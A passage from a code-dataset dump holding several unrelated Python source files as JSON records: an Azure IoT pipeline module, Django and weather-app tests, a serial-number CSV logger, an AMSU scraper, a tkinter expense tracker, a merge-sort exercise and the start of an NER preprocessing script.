\"{}({}):run_ops_serial: calling back after finally_op.\".format(\n self.name, finally_op.name\n )\n )\n callback(finally_op)\n except: # noqa: E722 do not use bare 'except'\n _, e, _ = sys.exc_info()\n logger.error(\n msg=\"{}({}):run_ops_serial: Unhandled error in callback\".format(\n self.name, finally_op.name\n ),\n exc_info=e,\n )\n self.pipeline_root.unhandled_error_handler(e)\n\n finally_op.callback = on_finally_done\n logger.info(\n \"{}({}):run_ops_serial: running finally_op.\".format(self.name, last_op.name)\n )\n self.continue_op(finally_op)\n else:\n try:\n logger.info(\n \"{}({}):run_ops_serial: no finally_op. calling back.\".format(\n self.name, last_op.name\n )\n )\n callback(last_op)\n except: # noqa: E722 do not use bare 'except'\n _, e, _ = sys.exc_info()\n logger.error(\n msg=\"{}({}):run_ops_serial: Unhandled error in callback\".format(\n self.name, last_op.name\n ),\n exc_info=e,\n )\n self.pipeline_root.unhandled_error_handler(e)\n\n def on_op_done(completed_op):\n logger.info(\n \"{}({}):run_ops_serial: completed. {} items left\".format(\n self.name, completed_op.name, worklist.qsize()\n )\n )\n if completed_op.error:\n logger.info(\n \"{}({}):run_ops_serial: completed with failure. skipping last {} ops\".format(\n self.name, completed_op.name, worklist.qsize()\n )\n )\n on_last_op_done(completed_op)\n else:\n if worklist.empty():\n logger.info(\n \"{}({}):run_ops_serial: last op succeeded.\".format(\n self.name, completed_op.name\n )\n )\n on_last_op_done(completed_op)\n else:\n logger.info(\n \"{}({}):run_ops_serial: op succeeded. running next op in list.\".format(\n self.name, completed_op.name\n )\n )\n next_op = worklist.get_nowait()\n next_op.callback = on_op_done\n self.continue_op(next_op)\n\n first_op = worklist.get_nowait()\n first_op.callback = on_op_done\n logger.info(\"{}({}):run_ops_serial: starting first op.\".format(self.name, first_op.name))\n self.continue_op(first_op)\n\n def handle_pipeline_event(self, event):\n \"\"\"\n Handle a pipeline event that arrives from the stage below this stage. Derived\n classes should not override this function. Any stage-specific handling of\n PipelineEvent objects should be implemented by overriding the private\n _handle_pipeline_event function in the derived stage.\n\n :param PipelineEvent event: The event that is being passed back up the pipeline\n \"\"\"\n try:\n self._handle_pipeline_event(event)\n except: # noqa: E722 do not use bare 'except'\n _, e, _ = sys.exc_info()\n logger.error(\n msg=\"Error in %s._handle_pipeline_event call\".format(self.name), exc_info=e\n )\n self.pipeline_root.unhandled_error_handler(e)\n\n def _handle_pipeline_event(self, event):\n \"\"\"\n Handle a pipeline event that arrives from the stage below this stage. This\n is a function that is intended to be overridden in any stages that want to implement\n stage-specific handling of any events\n\n :param PipelineEvent event: The event that is being passed back up the pipeline\n \"\"\"\n if self.previous:\n self.previous.handle_pipeline_event(event)\n else:\n error = NotImplementedError(\n \"{} unhandled at {} stage with no previous stage\".format(event.name, self.name)\n )\n self.pipeline_root.unhandled_error_handler(error)\n\n def continue_op(self, op):\n \"\"\"\n Helper function to continue a given operation by passing it to the next stage\n in the pipeline. If there is no next stage in the pipeline, this function\n will fail the operation and call complete_op to return the failure back up the\n pipeline. If the operation is already in an error state, this function will\n complete the operation in order to return that error to the caller.\n\n :param PipelineOperation op: Operation which is being \"continued\"\n \"\"\"\n if op.error:\n logger.error(\"{}({}): op has error. completing.\".format(self.name, op.name))\n self.complete_op(op)\n elif not self.next:\n logger.error(\"{}({}): no next stage. completing with error\".format(self.name, op.name))\n op.error = NotImplementedError(\n \"{} still handled after {} stage with no next stage\".format(op.name, self.name)\n )\n self.complete_op(op)\n else:\n logger.info(\"{}({}): passing to next stage.\".format(self.name, op.name))\n self.next.run_op(op)\n\n def complete_op(self, op):\n \"\"\"\n Helper function to complete an operation by calling its callback function thus\n returning the result of the operation back up the pipeline. This is perferred to\n calling the operation's callback directly as it provides several layers of protection\n (such as a try/except wrapper) which are strongly advised.\n \"\"\"\n logger.info(\n \"{}({}): completing {} error\".format(\n self.name, op.name, \"with\" if op.error else \"without\"\n )\n )\n try:\n op.callback(op)\n except: # noqa: E722 do not use bare 'except'\n _, e, _ = sys.exc_info()\n logger.error(\n msg=\"Unhandled error calling back inside {}.complete_op() after {} complete\".format(\n self.name, op.name\n ),\n exc_info=e,\n )\n self.pipeline_root.unhandled_error_handler(e)\n\n def continue_with_different_op(self, original_op, new_op):\n \"\"\"\n Continue an operation using a new operation. This means that the new operation\n will be passed down the pipeline (starting at the next stage). When that new\n operation completes, the original operation will also complete. In this way,\n a stage can accept one type of operation and, effectively, change that operation\n into a different type of operation before passing it to the next stage.\n\n This is useful when a generic operation (such as \"enable feature\") needs to be\n converted into a more specific operation (such as \"subscribe to mqtt topic\").\n In that case, a stage's _run_op function would call this function passing in\n the original \"enable feature\" op and the new \"subscribe to mqtt topic\"\n op. This function will pass the \"subscribe\" down. When the \"subscribe\" op\n is completed, this function will cause the original op to complete.\n\n This function is only really useful if there is no data returned in the\n new_op that that needs to be copied back into the original_op before\n completing it. If data needs to be copied this way, some other method needs\n to be used. (or a \"copy data back\" function needs to be added to this function\n as an optional parameter.)\n\n :param PipelineOperation original_op: Operation that is being continued using a\n different op. This is most likely the operation that is currently being handled\n by the stage. This operation is not actually continued, in that it is not\n actually passed down the pipeline. Instead, the original_op operation is\n effectively paused while we wait for the new_op operation to complete. When\n the new_op operation completes, the original_op operation will also be completed.\n :param PipelineOperation new_op: Operation that is being passed down the pipeline\n to effectively continue the work represented by original_op. This is most likely\n a different type of operation that is able to accomplish the intention of the\n original_op in a way that is more specific than the original_op.\n \"\"\"\n\n logger.info(\n \"{}({}): continuing with {} op\".format(self.name, original_op.name, new_op.name)\n )\n\n def new_op_complete(op):\n logger.info(\n \"{}({}): completing with result from {}\".format(\n self.name, original_op.name, new_op.name\n )\n )\n original_op.error = new_op.error\n self.complete_op(original_op)\n\n new_op.callback = new_op_complete\n self.continue_op(new_op)\n\n def on_connected(self):\n \"\"\"\n Called by lower layers when the transport connects\n \"\"\"\n if self.previous:\n self.previous.on_connected()\n\n def on_disconnected(self):\n \"\"\"\n Called by lower layers when the transport disconnects\n \"\"\"\n if self.previous:\n self.previous.on_disconnected()\n\n\nclass PipelineRoot(PipelineStage):\n \"\"\"\n Object representing the root of a pipeline. This is where the functions to build\n the pipeline exist. This is also where clients can add event handlers to receive\n events from the pipeline.\n\n :ivar on_pipeline_event: Handler which can be set by users of the pipeline to\n receive PipelineEvent objects. This is how users receive any \"unsolicited\"\n events from the pipeline (such as C2D messages). This function is called with\n a PipelineEvent object every time any such event occurs.\n :type on_pipeline_event: Function\n \"\"\"\n\n def __init__(self):\n super(PipelineRoot, self).__init__()\n self.on_pipeline_event = None\n\n def _run_op(self, op):\n \"\"\"\n run the operation. At the root, the only thing to do is to pass the operation\n to the next stage.\n\n :param PipelineOperation op: Operation to run.\n \"\"\"\n self.continue_op(op)\n\n def append_stage(self, new_next_stage):\n \"\"\"\n Add the next stage to the end of the pipeline. This is the function that callers\n use to build the pipeline by appending stages. This function returns the root of\n the pipeline so that calls to this function can be chained together.\n\n :param PipelineStage new_next_stage: Stage to add to the end of the pipeline\n :returns: The root of the pipeline.\n \"\"\"\n old_tail = self\n while old_tail.next:\n old_tail = old_tail.next\n old_tail.next = new_next_stage\n new_next_stage.previous = old_tail\n new_next_stage.pipeline_root = self\n return self\n\n def unhandled_error_handler(self, error):\n \"\"\"\n Handler for errors that happen which cannot be tied to a specific operation.\n This is still a tentative implimentation and masy be replaced by\n some other mechanism as details on behavior are finalized.\n \"\"\"\n # TODO: decide how to pass this error to the app\n # TODO: if there's an error in the app handler, print it and exit\n pass\n\n def _handle_pipeline_event(self, event):\n \"\"\"\n Override of the PipelineEvent handler. Because this is the root of the pipeline,\n this function calls the on_pipeline_event handler to pass the event to the\n caller.\n\n :param PipelineEvent event: Event to be handled, i.e. returned to the caller\n through the handle_pipeline_event (if provided).\n \"\"\"\n if self.on_pipeline_event:\n # already protected by try/except in handle_pipeline_event()\n self.on_pipeline_event(event)\n else:\n logger.warning(\"incoming pipeline event with no handler. dropping.\")\n\n\nclass EnsureConnection(PipelineStage):\n # TODO: additional documentation and tests for this class are not being implemented because a significant rewriting to support more scenarios is pending\n \"\"\"\n This stage is responsible for ensuring that the transport is connected when\n it needs to be connected, and it's responsible for queueing operations\n while we're waiting for the connect operation to complete.\n\n Operations Handled:\n * Connect\n * Disconnect\n * all operations with needs_connection set to True (connects if necessary)\n * all operations (queues while waiting for connection)\n\n Operations Produced:\n * Connect\n\n Note: this stage will likely be replaced by a more full-featured stage to handle\n other \"block while we're setting something up\" operations, such as subscribing to\n twin responses. That is another example where we want to ensure some state and block\n requests until that state is achieved.\n \"\"\"\n\n def __init__(self):\n super(EnsureConnection, self).__init__()\n self.connected = False\n self.queue = queue.Queue()\n self.blocked = False\n\n def _run_op(self, op):\n # If this stage is currently blocked (because we're waiting for a connection\n # to complete, we queue up all operations until after the connect completes.\n if self.blocked:\n logger.info(\n \"{}({}): pipeline is blocked waiting for connect. queueing.\".format(\n self.name, op.name\n )\n )\n self.queue.put_nowait(op)\n\n # If we get a request to connect, we either complete immediately (if we're already\n # connected) or we do the connect operation, which is pulled out into a helper\n # function because starting the connection also means blocking this stage until\n # the connect is complete.\n elif isinstance(op, pipeline_ops_base.Connect):\n if self.connected:\n logger.info(\n \"{}({}): transport is already conencted. completing early.\".format(\n self.name, op.name\n )\n )\n self.complete_op(op)\n else:\n self._do_connect(op)\n\n # If we get a request to disconnect, we either complete the request immediately\n # (if we're already disconencted) or we pass the disconnect request down.\n elif isinstance(op, pipeline_ops_base.Disconnect):\n if not self.connected:\n logger.info(\n \"{}({}): transport is already disconencted. completing early.\".format(\n self.name, op.name\n )\n )\n self.complete_op(op)\n else:\n self.continue_op(op)\n\n # Any other operation that requires a connection can trigger a connection if\n # we're not connected.\n elif op.needs_connection and not self.connected:\n self._do_connect(op)\n\n # Finally, if this stage doesn't need to do anything else with this operation,\n # it just passes it down.\n else:\n self.continue_op(op)\n\n def _block(self, op):\n \"\"\"\n block this stage while we're waiting for the connection to complete.\n \"\"\"\n logger.info(\"{}({}): enabling block\".format(self.name, op.name))\n self.blocked = True\n\n def _unblock(self, op, error):\n \"\"\"\n Unblock this stage after the connection is complete. This also means\n releasing all the queued up operations that we were waiting for the\n connect operation to complete.\n \"\"\"\n logger.info(\"{}({}): disabling block and releasing queued ops.\".format(self.name, op.name))\n self.blocked = False\n logger.info(\n \"{}({}): processing {} items in queue\".format(self.name, op.name, self.queue.qsize())\n )\n # loop through our queue and release all the blocked operations\n while not self.queue.empty():\n op_to_release = self.queue.get_nowait()\n if error:\n # if we're unblocking the queue because something (like a connect operation) failed,\n # then we fail all of the blocked operations with the same error.\n logger.info(\n \"{}({}): failing {} op because of error\".format(\n self.name, op.name, op_to_release.name\n )\n )\n op_to_release.error = error\n self.complete_op(op_to_release)\n else:\n # when we release, go back through this stage again to make sure requirements are _really_ satisfied.\n # this also pre-maturely completes ops that might now be satisfied.\n logger.info(\n \"{}({}): releasing {} op.\".format(self.name, op.name, op_to_release.name)\n )\n self.run_op(op_to_release)\n\n def _do_connect(self, op):\n \"\"\"\n Start connecting the transport in response to some operation (which may or may not be a Connect operation)\n \"\"\"\n # first, we block all future operations queue while we're connecting\n self._block(op=op)\n\n # If we're connecting as a side-effect of some other operation (that is not Connect), then we queue\n # that operation to run after the connection is complete.\n if not isinstance(op, pipeline_ops_base.Connect):\n logger.info(\"{}({}): queueing until connection complete\".format(self.name, op.name))\n self.queue.put_nowait(op)\n\n # function that gets called after we're connected.\n def on_connected(op_connect):\n logger.info(\"{}({}): connection is complete\".format(self.name, op.name))\n # if we're connecting because some layer above us asked us to connect, we complete that operation\n # once the connection is established.\n if isinstance(op, pipeline_ops_base.Connect):\n op.error = op_connect.error\n self.complete_op(op)\n # and, no matter what, we always unblock the stage when we're done connecting.\n self._unblock(op=op, error=op_connect.error)\n\n # call down to the next stage to connect. We don't use continue_with_different_op because we have\n # extra code that needs to run (unblocking the queue) when the connect is complete and\n # continue_with_different_op can't do that.\n logger.info(\"{}({}): calling down with Connect operation\".format(self.name, op.name))\n self.continue_op(pipeline_ops_base.Connect(callback=on_connected))\n\n def on_connected(self):\n self.connected = True\n PipelineStage.on_connected(self)\n\n def on_disconnected(self):\n self.connected = False\n PipelineStage.on_disconnected(self)\n","sub_path":"azure-iot-device/azure/iot/device/common/transport/pipeline_stages_base.py","file_name":"pipeline_stages_base.py","file_ext":"py","file_size_in_byte":28935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"530052660","text":"from django.test import TestCase\nfrom django.db.utils import IntegrityError\nfrom django.test import LiveServerTestCase\n\nfrom todo.models.tarefa import Tarefa\n\n\nclass CriaTarefaTestCase(TestCase):\n \"\"\"\n classe de testes unitários\n \"\"\"\n def test_cria_tarefa_sem_nome(self):\n with self.assertRaises(IntegrityError):\n Tarefa.objects.create(nome=None)\n\n\nclass HomeTestCase(LiveServerTestCase):\n def test_home_access(self):\n response = self.client.get('/')\n self.assertEqual(response.status_code, 200)\n\n def test_home_ola(self):\n response = self.client.get('/')\n self.assertContains(response, 'Olá')\n\n def test_home_tem_link_login(self):\n response = self.client.get('/')\n if response.context['user'].is_authenticated():\n self.assertNotContains(response, \"Login\")\n else:\n self.assertContains(response, \"Login\")\n","sub_path":"todo/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"179270120","text":"import datetime\n\n\ndef seriennummer():\n date = str(datetime.datetime.now().year)+\"-\"+str(datetime.datetime.now().month)+\"-\"+str(datetime.datetime.now().day)+\"_\"+str(datetime.datetime.now().hour)+\"-\"+str(datetime.datetime.now().minute)+\"-\"+str(datetime.datetime.now().second)\n # This will guide the user to choose option\n print(\"Drücke \\n 1 um die Seriennummer und Anlagenummer erfassen \\n 2 um Anlagenummer erfassen \")\n\n option = int(input(\" dein Auswahl: \"))\n\n def a():\n\n# T = \"####################################################################################\\n# Alle Seriennummer\n# die mit Z anfangen sind eigentlich Y wegen ein Scanner Fehler. #\\n############################################\n# ########################################\\n\\n\"\n\n q = True\n li = []\n s_n_lange = int(input(\"Gib die Länge der Seriennummer an: \"))\n a_n_lange = int(input(\"Gib die Länge der Anlagenummer an: \"))\n projekt = str(input(\"Merkmale/Projekt: \"))\n while q is True:\n s_nummer = input(\"Seriennummer: \")\n if s_nummer[0] == \"Ü\" or s_nummer[0] == \"ü\":\n with open(str(projekt)+'_serialnummer und anlagenummer_'+str(date)+'.csv', 'w') as f:\n# f.write(T)\n f.write(projekt)\n f.write(\"\\n\")\n for i in range(len(li)):\n text1 = li[i][0]\n text2 = li[i][1]\n f.write(text1)\n f.write(\";\")\n f.write(text2)\n f.write(\"\\n\")\n f.close()\n q = False\n return q\n while len(s_nummer) < s_n_lange or len(s_nummer) > s_n_lange:\n print(\"Falsches Seriennumme. Bitte nochmal scannen.\")\n s_nummer = input(\"Seriennummer: \")\n a_nummer = input(\"Anlagenummer: \")\n if len(a_nummer) < a_n_lange or len(a_nummer) > a_n_lange:\n print(\"Falsches Anlagenummer. Bitte nochmal scannen.\")\n a_nummer = input(\"Anlagenummer: \")\n li.append([s_nummer, a_nummer])\n print(\"Letzer scan: \", li[len(li)-1][0], \",\", li[len(li)-1][1])\n\n def b():\n q = True\n li = []\n a_n_lange = int(input(\"Gib die Länge der Anlagenummer an: \"))\n projekt = str(input(\"Merkmale/Projekt: \"))\n while q is True:\n a_nummer = input(\"Anlagenummer: \")\n while len(a_nummer) < a_n_lange or len(a_nummer) > a_n_lange:\n if a_nummer[0] == \"Ü\" or a_nummer[0] == \"ü\":\n with open(str(projekt)+'_anlagenummer_'+str(date)+'.csv', 'w') as f:\n f.write(projekt)\n f.write(\"\\n\")\n for i in range(len(li)):\n text1 = li[i]\n f.write(text1)\n f.write(\"\\n\")\n f.close()\n q = False\n return q\n print(\"Falsches Anlagenummer. Bitte nochmal scannen.\")\n a_nummer = input(\"Anlagenummer: \")\n li.append(a_nummer)\n print(li[len(li)-1])\n\n def c():\n q = True\n li = []\n h_n_lange = int(input(\"Gib die Länge der Hostname an: \"))\n projekt = str(input(\"Merkmale/Projekt: \"))\n while q is True:\n hn_nummer = input(\"Hostname: \")\n while len(hn_nummer) < h_n_lange or len(hn_nummer) > h_n_lange:\n if hn_nummer[0] == \"Ü\" or hn_nummer[0] == \"ü\":\n with open(str(projekt) + '_hostname_' + str(date) + '.csv', 'w') as f:\n f.write(projekt)\n f.write(\"\\n\")\n for i in range(len(li)):\n text1 = li[i]\n f.write(\"d-\"+text1)\n f.write(\"\\n\")\n f.close()\n q = False\n return q\n print(\"Falsches Hostname. Bitte nochmal scannen.\")\n hn_nummer = input(\"Hostname: \")\n li.append(hn_nummer)\n print(li[len(li) - 1])\n\n def default():\n print(\"Incorrect option\")\n\n dictionary = {\n 1: a,\n 2: b,\n 3: c,\n }\n dictionary.get(option, default)()\n\n\nif __name__ == '__main__':\n print(\"Um das Programm zu beenden und die Liste zu speichern drücken Sie die Taste Ü!\")\n seriennummer()\n","sub_path":"SerialNummer_AnlageNummer-v3.py","file_name":"SerialNummer_AnlageNummer-v3.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"42909564","text":"import datetime\n\nfrom django.test import TestCase\n\nfrom weatherapp.core import services\n\n# Create your tests here.\nclass AverageTestCase(TestCase):\n def setUp(self):\n self.arr = [2, 4, 6]\n # (4 + 5 + 8 + 9 + 10) / 5 = 7.2\n self.arr_2 = [4, 5, 8, 9, 10]\n\n def test_calculate_average(self):\n test_avg = services._calculate_average(self.arr)\n test_avg_2 = services._calculate_average(self.arr_2)\n self.assertEqual(test_avg, 4)\n self.assertEqual(test_avg_2, 7.2)\n\n\nclass AverageTimeTestCase(TestCase):\n def setUp(self):\n time_arr = [\"14:00\", \"15:00\", \"16:00\"]\n time_arr_2 = [\"14:00\", \"14:30\", \"13:00\", \"13:30\"]\n self.arr = [datetime.datetime.strptime(time, '%H:%M') for time in time_arr]\n self.arr_2 = [datetime.datetime.strptime(time, '%H:%M') for time in time_arr_2]\n\n def test_average_time(self):\n test_avg = services._get_average_time(self.arr)\n test_avg_2 = services._get_average_time(self.arr_2)\n self.assertEqual(test_avg, \"15:00\")\n self.assertEqual(test_avg_2, \"13:45\")\n\n\nclass MostCommonTimeTestCase(TestCase):\n def setUp(self):\n arr = [\"12:00\", \"12:00\", \"12:00\", \"13:45\", \"13:45\", \"10:15\"]\n arr_2 = [\"12:00\", \"13:00\", \"12:00\", \"23:50\", \"23:50\", \"13:00\"]\n self.arr = [datetime.datetime.strptime(time, '%H:%M') for time in arr]\n self.arr_2 = [datetime.datetime.strptime(time, '%H:%M') for time in arr_2]\n\n def test_most_common_times(self):\n most_common = services._get_most_common_time(self.arr)\n most_common_2 = services._get_most_common_time(self.arr_2)\n self.assertEqual(most_common, \"12:00\")\n # Returns first in array if same count\n self.assertEqual(most_common_2, \"12:00\")\n\n\nclass JuneDatesTestCase(TestCase):\n def setUp(self):\n self.arr = [\"12/12/2006\", \"01/06/2006\", \"02/06/2006\", \"13/01/2006\"]\n # To make sure it's sorting\n self.arr_2 = [\"12/12/2006\", \"02/06/2006\", \"01/06/2006\", \"13/01/2006\"]\n\n def test_get_june_dates(self):\n june_dates = services._create_june_dates_list(self.arr)\n june_dates_2 = services._create_june_dates_list(self.arr_2)\n self.assertEqual(june_dates, [\"01/06/2006\", \"02/06/2006\"])\n self.assertEqual(june_dates_2, [\"01/06/2006\", \"02/06/2006\"])\n\n\nclass IsValidTempTestCase(TestCase):\n def setUp(self):\n self.temp = 22.5\n self.temp_2 = 23.4\n self.temp_3 = 10.5\n self.temp_4 = 10.6\n\n def test_is_valid_temp(self):\n # One valid\n self.assertEqual(services._is_valid_temps(self.temp, self.temp_2), True)\n # Both valid\n self.assertEqual(services._is_valid_temps(self.temp, self.temp_3), True)\n # None valid\n self.assertEqual(services._is_valid_temps(self.temp_2, self.temp_4), False)\n","sub_path":"weatherapp/core/test_services.py","file_name":"test_services.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"632029926","text":"import datetime\nimport logging\nimport re\n\nimport requests\n\nfrom tools.diagnosis import DiagnosisSource\n\nlogger = logging.getLogger(__name__)\n\n\nclass AMSUSource(DiagnosisSource):\n\n name = 'AMSU'\n full_name = 'AMSU'\n values = {}\n\n URL = 'http://tropic.ssec.wisc.edu/real-time/amsu/archive/{year}/{year}{code}/intensity.txt'\n\n def fetch(self):\n url = self.URL.format(year=self.storm.guess_year, code=self.code)\n try:\n page = requests.get(url, timeout=10)\n except:\n logger.exception('No AMSU intensity estimate for %s', self.code)\n return\n txt = page.text\n match = re.search(r'MSLP\\:\\s+(\\d+) hPa', txt)\n self.pres = match and int(match.group(1))\n match = re.search(r'Wind\\:\\s+(\\d+) kts', txt)\n self.wind = match and int(match.group(1))\n match = re.search(r'Confidence\\:\\s+(\\w+) \\(', txt)\n self.confidence = match and match.group(1)\n match = re.search(r'(\\d{2}[a-z]+\\d{2})\\sTime: (\\d+) UTC', txt)\n if match:\n time = match.group(1) + ' ' + match.group(2)\n self.data_time = datetime.datetime.strptime(time, '%d%b%y %H%M')\n self.last_updated = datetime.datetime.now()\n self.loaded = any((self.pres, self.wind, self.confidence))\n\n def represent(self) -> str:\n return '{} kt {} hPa [{}]'.format(self.wind, self.pres, self.confidence)\n\n","sub_path":"tools/diagnosis/amsu.py","file_name":"amsu.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"593902022","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nimport sqlite3\r\nconn=sqlite3.connect(\"ExpenseTracker.db\")\r\n\r\nroot = Tk()\r\nroot.title(\"Transaction Page\")\r\nroot.geometry(\"600x600\")\r\n\r\ncanvas = Canvas(root, borderwidth=0)\r\nframe = Frame(canvas)\r\nvsb = Scrollbar(root, orient=\"vertical\", command=canvas.yview)\r\ncanvas.configure(yscrollcommand=vsb.set)\r\n\r\nvsb.pack(side=\"right\", fill=\"y\")\r\ncanvas.pack(side=\"left\", fill=\"both\", expand=True)\r\ncanvas_frame = canvas.create_window((0,0), anchor=\"nw\")\r\ncanvas.itemconfigure(canvas_frame, window = frame)\r\n\r\ndef onFrameConfigure(canvas):\r\n '''Reset the scroll region to encompass the inner frame'''\r\n canvas.configure(scrollregion=canvas.bbox(\"all\"))\r\n\r\ndef FrameWidth(event):\r\n canvas_width = event.width\r\n canvas.itemconfig(canvas_frame, width = canvas_width)\r\n\r\nframe.bind(\"\", lambda event, canvas=canvas: onFrameConfigure(canvas))\r\ncanvas.bind('', lambda event: FrameWidth(event))\r\n\r\nrootWidth = root.winfo_screenwidth()\r\ndef populate(frame):\r\n frameTab = Frame(frame)\r\n frameTab.pack(side=\"top\", fill = \"both\", expand = True)\r\n frameTab.grid_columnconfigure(0,weight=1)\r\n frameTab.grid_columnconfigure(1,weight=1)\r\n frameTab.grid_columnconfigure(2,weight=1)\r\n frameTab.grid_columnconfigure(3,weight=1)\r\n Button(frameTab, text = \"Home\", relief=\"solid\", width= 10, bd = 1).grid(row = 0, column = 0)\r\n Button(frameTab, text = \"Transaction\", relief=\"solid\", width= 13, bd = 1).grid(row = 0, column = 1)\r\n Button(frameTab, text = \"Expense Summary\", relief=\"solid\", width= 20, bd = 1).grid(row = 0, column = 2)\r\n Button(frameTab, text = \"Item Budget\", relief=\"solid\", width= 15, bd = 1).grid(row = 0, column = 3)\r\n Label(frame, text = \"This Month's Expense\", width= rootWidth, height = 3, anchor=CENTER, bg='deep sky blue',bd=4, pady=5).pack()\r\n expenseFrame = Frame(frame, padx = 10, pady=10)\r\n expenseFrame.pack(fill = BOTH, expand = True)\r\n expenseFrame.grid_columnconfigure(0, weight=1)\r\n expenseFrame.grid_columnconfigure(1, weight=1)\r\n Label(expenseFrame, text = 'Expense',bg='orange red', pady = 5,width=50,height = 3,borderwidth='1',relief = 'solid').grid(row=0, column = 0)\r\n Label(expenseFrame, text = 'Rs 4000',bg='orange red', pady = 5,width=50,height = 3,borderwidth='1',relief = 'solid').grid(row=0, column = 1)\r\n\r\n #database\r\n i=1\r\n cursor = conn.execute(\"SELECT * FROM Expense WHERE type='expense'\")\r\n for r in cursor:\r\n Label(expenseFrame, text = \"%s\"%r[2],pady = 5,width=50,height = 3,borderwidth='1',relief = 'solid',bg='firebrick1').grid(row=i,column=0)\r\n Label(expenseFrame, text = \"%s\"%r[4],pady = 5,width=50,height = 3,borderwidth='1',relief = 'solid',bg='firebrick1').grid(row=i,column=1)\r\n i+=1\r\n \r\n \r\n Label(expenseFrame, text = 'Income', pady = 5,width=50,height = 3,borderwidth='1',relief = 'solid',bg='green2').grid(row=i, column = 0)\r\n Label(expenseFrame, text = 'Rs 14000', pady = 5,width=50,height = 3,borderwidth='1',relief = 'solid',bg='green2').grid(row=i, column = 1)\r\n i+=1\r\n\r\n cursor = conn.execute(\"SELECT * FROM Expense WHERE type='income'\")\r\n\r\n for r in cursor:\r\n Label(expenseFrame, text = \"%s\"%r[2],pady = 5,width=50,height = 3,borderwidth='1',relief = 'solid',bg='SpringGreen2').grid(row=i,column=0)\r\n Label(expenseFrame, text = \"%s\"%r[4],pady = 5,width=50,height = 3,borderwidth='1',relief = 'solid',bg='SpringGreen2').grid(row=i,column=1)\r\n i+=1\r\n # for i in range(11, 151, 1):\r\n # Label(expenseFrame, text = 'Salary',fg = 'Green',pady=3).grid(row = i, column = 0)\r\n # Label(expenseFrame, text = 'Rs 400',fg = 'black',pady=3).grid(row = i, column = 1)\r\npopulate(frame)\r\n\r\nroot.mainloop()","sub_path":"TagSummary.py","file_name":"TagSummary.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"201538559","text":"import sys\n\n\ndef split_array(array):\n if len(array) == 1:\n return array\n middle = len(array)//2\n return merge_array(split_array(array[0:middle:]), split_array(array[middle:]))\n\n\ndef merge_array(left_array, right_array):\n print(left_array)\n print(right_array)\n result_array = list()\n while len(left_array) > 0 and len(right_array) > 0:\n if left_array[0] < right_array[0]:\n result_array.append(left_array[0])\n left_array.pop(0)\n else:\n result_array.append(right_array[0])\n right_array.pop(0)\n if len(left_array):\n result_array.extend(left_array)\n else:\n result_array.extend(right_array)\n return result_array\n\n\ndef binary_search(array, element, left, right):\n\n if left >= right:\n return False\n\n middle = (right + left) // 2\n if array[middle] < element <= array[middle + 1]:\n return middle\n elif element <= array[middle]:\n return binary_search(array, element, left, middle)\n else:\n return binary_search(array, element, middle + 1, right)\n\n\nif __name__ == '__main__':\n try:\n input_set = list(sys.argv[1].split(\" \"))\n except IndexError:\n input_set = input(\"Enter numbers separated by a space, warning non-numbers symbols will ignore: \").split(\" \")\n array = list()\n for value in input_set:\n try:\n array.append(int(value))\n except ValueError:\n print(f\"The value \\\"{value}\\\" does't meet the condition\")\n continue\n while True:\n try:\n user_value = int(input(\"Enter the digit: \"))\n break\n except ValueError:\n print(\"Enter the valid digit\")\n continue\n sorted_array = split_array(array)\n print(sorted_array)\n print(binary_search(sorted_array, user_value, 0, len(sorted_array) - 1))\n\n","sub_path":"practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"79516044","text":"# -*- coding: UTF-8 -*-\nfrom behave.model import Status\nfrom selenium import webdriver\nfrom google_tests.helpers.failure_handlers import handle_scenario_failure\n\n\ndef before_scenario(context, scenario):\n driver = webdriver.PhantomJS()\n driver.set_window_size(1600, 900)\n context.driver = driver\n\n\ndef after_scenario(context, scenario):\n if scenario.status == Status.failed:\n handle_scenario_failure(context.driver, scenario.name)\n context.driver.quit()\n","sub_path":"google_tests/tests/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"93637283","text":"from collections import OrderedDict\nimport torch\nimport torch.nn as nn\nfrom torch.nn import init\nfrom torch.autograd import Variable\nfrom torch import autograd\nimport time\nimport _pickle as cPickle\nimport urllib\nimport matplotlib.pyplot as plt\nplt.rcParams['figure.dpi'] = 80\nplt.style.use('seaborn-pastel')\nimport os\nimport sys\nimport codecs\nimport re\nimport numpy as np\n\n## parameters\nCoNLL_filepath = \"./CoNLL-2003/eng.testa\"\n\n\n\ndef zero_digits(s): # s: character or srtings\n \"wordの場合は前処理に数字→0を追加する\"\n return re.sub(\"\\d\",\"0\",s)\n\ndef character_lower(s): #s character or strings\n return s.lower()\nCoNLL_filepath = \"./CoNLL-2003/eng.testb\"\ndef load_sentence(filepath):\n\n all_set_of_data = []\n one_sentences = []\n\n counter = 0\n with open(filepath, 'r') as f:\n for line in f:\n counter += 1\n one_word_and_tagset = line.split()\n\n\n if one_word_and_tagset == []:\n if one_sentences == []:\n continue\n elif one_sentences[0] == [] or one_sentences[0][0] == \"-DOCSTART-\":\n one_sentences = list()\n else:\n all_set_of_data.append(one_sentences)\n one_sentences = list()\n else:\n one_sentences.append(list(one_word_and_tagset))\n return all_set_of_data\n\n\n# タグ付けを修正する必要あり\n# 具体的には、IOBES\n# このタグ付は、品詞とは関係なく、wordあるいはnamed entity recognition の塊\n# に対して行われるもの と理解しておく。\n\n\"\"\"\nI - Word is inside a phrase of type TYPE\nB - If two phrases of the same type immediately follow each other, the first word of the second phrase will have tag B-TYPE \nO - Word is not part of a phrase\nE - End ( E will not appear in a prefix-only partial match )\nS - 